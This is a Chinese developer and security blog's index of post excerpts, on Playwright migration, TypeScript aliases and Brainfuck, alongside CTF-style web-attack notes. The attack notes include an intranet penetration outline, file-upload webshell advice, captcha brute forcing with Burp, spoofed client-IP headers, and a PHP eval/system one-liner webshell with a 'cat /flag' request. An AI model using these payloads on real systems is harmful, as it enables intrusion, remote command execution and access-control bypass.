我的GitHub
0%

密码学入门,我们介绍一些简单的密码

brainfuck

这是一个完备的图灵语言

Brainfuck基于这样一台机器。它具有一列初始化为0的数组(数组长度最初要求是30,000,但这个标准不是必要的)和一个初始指向第一个元素的指针。

该语言总共只有8个命令,除此之外所有其他字符都会被忽略

1
><+-.,[]

所以看到了这八个字符组成的,就是brainfuck

命令 功能 C语言
> 指针右移一个元素 p++;
< 指针左移一个元素 p–;
+ 指针当前所指元素加1 *p++;
- 指针当前所指元素减1 *p–;
. 输出指针所指元素对应字符 putchar(*p);
, 输入字符的ASCII码值到指针所指元素 *p=getchar();
[ 若指针所指元素为0,则跳转到对应 ‘]’处继续执行 while(*p){
] 若指针所指元素不为0,则跳转至对应 ‘[‘处继续执行 }

其实说那么多,也不会自己动手算,让我们上工具

brainfuck

阅读全文 »

内网渗透的流程

1.信息收集,寻找漏洞

2.找到漏洞,进行注马

3.获得shell

4.如果需要,则提权

5.查看网卡信息

6.打洞

7.链接并反弹shell,进行查询,寻找域管理用户,横向移动域控

8.可以查询远程权限并进行远程,后面想做什么都行了,主打一个为所欲为

内网扫描

阅读全文 »

背景

上文我们说到了怎么更新ms-playwright

本篇我们来聊聊怎么迁移playwright的版本

可能有朋友会奇怪,这有什么难的,把node_modulesplaywright相关的库全部移进去不就行了

其实也对,但是如果我是pnpm

其实虽然这一篇是升级playwright,但其实更多的是想表达,如何迁移npm库到离线环境

playwright为例,下面是我的一些探索

各种包管理工具下的迁移

运气比较好

本文成于2023.8.20

阅读全文 »

背景

事情是这样的,因为工作的重复率太高,我不得不开发一些脚本来 摸鱼 提高工作效率

但是问题是这样的

我在的单位内外网是隔离的,我所在的分支机构没有开发人员,总部有研发中心,但是并不会理会我们这些分支机构

内网的npm私有库有一个很老的playwright@1.23.4版本,而我的脚本需要用到一些比较新的特性

我拥有的设备

1
2
3
4
5
6
7
8
9
内网机:
统信UOS(主要跑脚本的机子)
Windows10(办公常用)

外网机:
Windows11

自己的设备:
MacOS(Intel版)

而不同版本的playwright依赖的webdriver又不一样

而我集齐了windows,mac,linux三种设备。。。

这就意味着我不太好下载对应版本的ms-playwright(总不能为了下载对应的webdriver去装个虚拟机吧)

阅读全文 »

文件上传是个经典问题

推荐靶场:upload-labs

我们可以在这个靶场中进行文件上传绕过的练习

先说webshell,我们写个一句话木马先

这里留个大哥若干年前的总结 webshell一句话木马大全

接下来我们聊聊文件上传的漏洞

一.啥防护没有

直接一句话木马上传就完事了

二.前端文件后缀判断

打开开发者工具,提交文件,看是否存在网络请求

阅读全文 »

对于带验证码的爆破,需要对验证码进行识别

可以使用captcha-killer-modified搭配Burp进行爆破

同时推荐ddddocr

现在是2023年9月7日,Pillow==9.5.0当前的ddddocr并未对版本进行兼容

我改了两个docker,有需要可以直接拉取部署

1
2
3
4
# centos
docker pull 329106954/ocr_server:centos
# mac Inter芯片
docker pull 329106954/ocr_server:mac

验证码填写

1
2
3
4
5
6
7
8
9
10
11
12
POST /ocr/b64/text HTTP/1.1
Authorization:Basic f0ngauth
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: raw
Content-Length: 8332

<@BASE64><@IMG_RAW></@IMG_RAW></@BASE64>
阅读全文 »

背景

好久没写前端的东西了,正好前段时间写typescript时用alias遇到了一些问题,今天来聊一聊。

alias

其实用web框架写应用的时候用的很多啊

比如层级很深的时候

1
import aa from "../../../utils/index"

通过配置alias,比如把根目录配置成@就会写成

1
import aa from "@/utils/index"

这样

具体的路径就不演示了,大家应该都能明白,都用过。

阅读全文 »

信息备注自己快查

记录来自哪个网站

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
X-Forwarded-For:127.0.0.1

X-Forwarded:127.0.0.1

Forwarded-For:127.0.0.1

Forwarded:127.0.0.1

X-Forwarded-Host:127.0.0.1

X-remote-IP:127.0.0.1

X-remote-addr:127.0.0.1

True-Client-IP:127.0.0.1

X-Client-IP:127.0.0.1

Client-IP:127.0.0.1

X-Real-IP:127.0.0.1

Ali-CDN-Real-IP:127.0.0.1

Cdn-Src-Ip:127.0.0.1

Cdn-Real-Ip:127.0.0.1

CF-Connecting-IP:127.0.0.1

X-Cluster-Client-IP:127.0.0.1

WL-Proxy-Client-IP:127.0.0.1

Proxy-Client-IP:127.0.0.1

Fastly-Client-Ip:127.0.0.1

True-Client-Ip:127.0.0.1

Host: 127.0.0.1

Hackbar

php请求

postform,&符分割,System里面可以任意写

1
eval(system($_POST['cmd'])); 
1
password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag

postform,&符分割,System里面可以任意写

1
eval($_POST['cmd']); 
阅读全文 »

这次我们来聊一聊playwright的一些配置项

一、登录保存数据

网站每次都要登录,很烦,没必要

所以我们登录之后,可以把cookie或者session什么的保存起来

下次登录再把数据注入

这样就不用再登录了

1.先正常登录

就写代码登录

2.保存数据

通过context.storageState保存数据到本地文件
例如:

阅读全文 »